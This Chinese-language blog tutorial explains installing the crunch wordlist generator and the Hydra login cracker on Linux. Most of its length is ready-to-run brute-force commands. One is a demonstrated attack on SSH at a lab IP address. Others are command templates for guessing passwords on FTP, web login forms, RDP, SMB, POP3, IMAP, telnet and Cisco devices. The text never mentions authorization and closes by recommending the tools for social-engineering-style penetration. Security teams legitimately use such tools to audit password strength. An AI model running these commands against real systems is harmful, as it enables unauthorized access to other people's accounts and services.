linux下部署Hydra暴力破解工具+crunch密码字典生成工具
所谓的密码字典主要是配合密码破解软件所使用,密码字典里包括许多人们习惯性设置的密码。这样可以提高密码破解软件的密码破解成功率和命中率,缩短密码破解的时间。当然,如果一个人密码设置没有规律或很复杂,未包含在密码字典里,这个字典就没有用了,甚至会延长密码破解所需要的时间。在Linux中有Crunch和rtgen两个工具,可以来创建密码字典。为方便用户的使用,本节将介绍这两个工具的使用方法。
crunch是一款linux下的压缩后仅仅38k的小程序,Crunch最厉害的是知道密码的一部分细节后,可以针对性的生成字典,这在渗透中就特别有用,用来进行暴力破解攻击其效果尤佳!
1、下载并安装crunch
1 2 3 4 5 6 | cd / home / oldboy / tools wget https: / / sourceforge.net / projects / crunch - wordlist / files / crunch - wordlist / crunch - 3.6 .tgz tar xf crunch - 3.6 .tgz cd crunch - 3.6 gcc - Wall - lm - pthread - std = c99 - m64 - D_LARGEFILE_SOURCE - D_FILE_OFFSET_BITS = 64 crunch.c - o crunch - lm make install |
2、使用crunch生成密码文件实例
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 | crunch 1 8 #生成最小1位,最大8位,由26个小写字母为元素的所有组合 crunch 1 6 abcdefg #生成 最小为1,最大为6.由abcdefg为元素的所有组合 #生成10位密码,格式为三个小写字母+一个符号+四个数字+两个符号,限制每个密码至少2种字母和至少3种数字 crunch 8 8 - d 2 @ #生成8位密码,每个密码至少出现两种字母 crunch 4 4 - f unicode_test.lst the - greeks - t @@ % % - l @xdd #调用密码库 unicode_test.lst中的 the-greeks项目字符,生成4位密码,其中格式为两小写字母+两数字,同样kali_linux中 unicode_test.lst 在/usr/share/crunch目录 - b #体积大小,比如后跟20mib - c #密码个数(行数),比如8000 - d #限制出现相同元素的个数(至少出现元素个数),-d 3就不会出现zzf ffffgggg之类的 - e #定义停止生成密码 ,比如-e 222222:到222222停止生成密码 - f #调用密码库文件,比如/usr/share/crunch/charset.lst - i #改变输出格式 - l #与-t搭配使用 - m #与-p搭配使用 - o #保存为 - p #定义密码元素 - q #读取字典 - r #定义从某一个地方重新开始 - s #第一个密码,从xxx开始 - t #定义输出格式 @代表小写字母 ,代表大写字母 % 代表数字 ^代表符号 - z #打包压缩,格式支持 gzip, bzip2, lzma, 7z |
crunch语法格式:
1 | crunch [minimum length] [maximum length] [character set ] [options] |
生成一个包含6到7位数字、字母和特殊字符的密码文件password.txt。这个密码文件为后面用Hydra暴力破解工具使用
1 | crunch 6 7 - f / usr / share / crunch / charset.lst mixalpha - numeric - all - space - o password.txt |
生成的这个字典文件password.txt很大,大概有500多T大小
Hydra暴力工具的部署
1、简介
Number one of the biggest security holes are passwords, as every password security study shows. Hydra is a parallized login cracker which supports numerous protocols to attack. New modules are easy to add, beside that, it is flexible and very fast.
Hydra was tested to compile on Linux, Windows/Cygwin, Solaris 11, FreeBSD 8.1 and OSX, and is made available under GPLv3 with a special OpenSSL license expansion.
Currently this tool supports:
AFP, Cisco AAA, Cisco auth, Cisco enable, CVS, Firebird, FTP, HTTP-FORM-GET, HTTP-FORM-POST, HTTP-GET, HTTP-HEAD, HTTP-PROXY, HTTPS-FORM-GET, HTTPS-FORM-POST, HTTPS-GET, HTTPS-HEAD, HTTP-Proxy, ICQ, IMAP, IRC, LDAP, MS-SQL, MYSQL, NCP, NNTP, Oracle Listener, Oracle SID, Oracle, PC-Anywhere, PCNFS, POP3, POSTGRES, RDP, Rexec, Rlogin, Rsh, SAP/R3, SIP, SMB, SMTP, SMTP Enum, SNMP, SOCKS5, SSH (v1 and v2), Subversion, Teamspeak (TS2), Telnet, VMware-Auth, VNC and XMPP.
For HTTP, POP3, IMAP and SMTP, several login mechanisms like plain and MD5 digest etc. are supported.
This tool is a proof of concept code, to give researchers and security consultants the possiblity to show how easy it would be to gain unauthorized access from remote to a system.
The program is maintained by van Hauser and David Maciejak.
The Hackers Choice
http://www.thc.org/thc-hydra
2、安装hydra
安装相关依赖包
1 | yum install openssl - devel pcre - devel ncpfs - devel postgresql - devel libssh - devel subversion - devel libncurses - devel - y |
Hydra 安装
1 2 3 4 5 6 | cd / home / oldboy / tools wget http: / / www.thc.org / releases / hydra - 7.4 . 1.tar .gz tar zxvf hydra - 7.4 . 1.tar .gz cd hydra - 7.4 . 1 . / configure make && make install |
3、hydra的语法及参数说明
语法格式
1 2 3 | # hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e ns] [ - o FILE ] [ - t TASKS] [ - M FILE [ - T TASKS]] [ - w TIME] [ - f] [ - s PORT] [ - S] [ - vV] server service [OPT] |
参数说明

hydra的帮助信息查看-h

4、实例
手动创建用户名字典和密码字典,这里只是为了演示,只加了几个用户名和弱口令。真正破解时,需要利用密码字典生成器生成强大的字典。
创建用户名文件users.txt
1 2 3 | [root@lnmp01 ~] # vim users.txt root oldboy |
创建密码文件password.txt
1 2 3 4 5 | [root@lnmp01 ~] # vim password.txt 123456 ts1158 test01 haaaha |
破解ssh
1 | hydra - L users.txt - P password.txt - t 20 - vV - e ns 192.168 . 182.143 ssh |
这个参数-t 线程不能给的太大,太大了破解可能不准确,一般给20个左右线程就可以了
破解过程如下图所示:
由图所示,破解成功了
当然也可以使用 -o 选项指定结果输出文件。
1 | hydra - L users.txt - P password.txt - t 20 - vV - e ns 192.168 . 182.143 ssh - o test.txt |
那么破解好的记录就会保存在这个指定的文件中
5、其他协议的破解方式如下
破解ftp:
1 2 | hydra ip ftp - l 用户名 - P 密码字典 - t 线程(默认 16 ) - vV hydra ip ftp - l 用户名 - P 密码字典 - e ns - vV |
get方式提交,破解web登录:
1 2 | hydra - l 用户名 - p 密码字典 - t 线程 - vV - e ns ip http - get / admin / hydra - l 用户名 - p 密码字典 - t 线程 - vV - e ns - f ip http - get / admin / index.php |
post方式提交,破解web登录:
1 | hydra - l admin - P pass .lst - o ok.lst - t 1 - f 127.0 . 0.1 http - post - form “index.php:name = ^USER^&pwd = ^PASS^:<title>invalido< / title>” |
说明:破解的用户名是admin,密码字典是pass.lst,破解结果保存在ok.lst,-t 是同时线程数为1,-f 是当破解了一个密码就停止,ip 是本地,就是目标ip,http-post-form表示破解是采用http 的post 方式提交的表单密码破解。
后面参数是网页中对应的表单字段的name 属性,后面<title>中的内容是表示错误猜解的返回信息提示,可以自定义。
破解https:
1 | hydra - m / index.php - l muts - P pass .txt 10.36 . 16.18 https |
破解teamspeak:
1 | hydra - l 用户名 - P 密码字典 - s 端口号 - vV ip teamspeak |
破解cisco:
1 2 | hydra - P pass .txt 10.36 . 16.18 cisco hydra - m cloud - P pass .txt 10.36 . 16.18 cisco - enable |
破解smb:
1 | hydra - l administrator - P pass .txt 10.36 . 16.18 smb |
破解pop3:
1 | hydra - l muts - P pass .txt my.pop3.mail pop3 |
破解rdp:
1 | hydra ip rdp - l administrator - P pass .txt - V |
破解http-proxy:
1 | hydra - l admin - P pass .txt http - proxy: / / 10.36 . 16.18 |
破解imap:
1 2 | hydra - L user.txt - p secret 10.36 . 16.18 imap PLAIN hydra - C defaults.txt - 6 imap: / / [fe80:: 2c : 31ff :fe12:ac11]: 143 / PLAIN |
破解telnet
1 | hydra ip telnet - l 用户 - P 密码字典 - t 32 - s 23 - e ns - f - V |
总之,此工具强大之处远多于以上测试,其密码能否破解关键在于强大的字典,对于社工型渗透来说,有时能够得到事半功倍的效果。
暂无评论
发表评论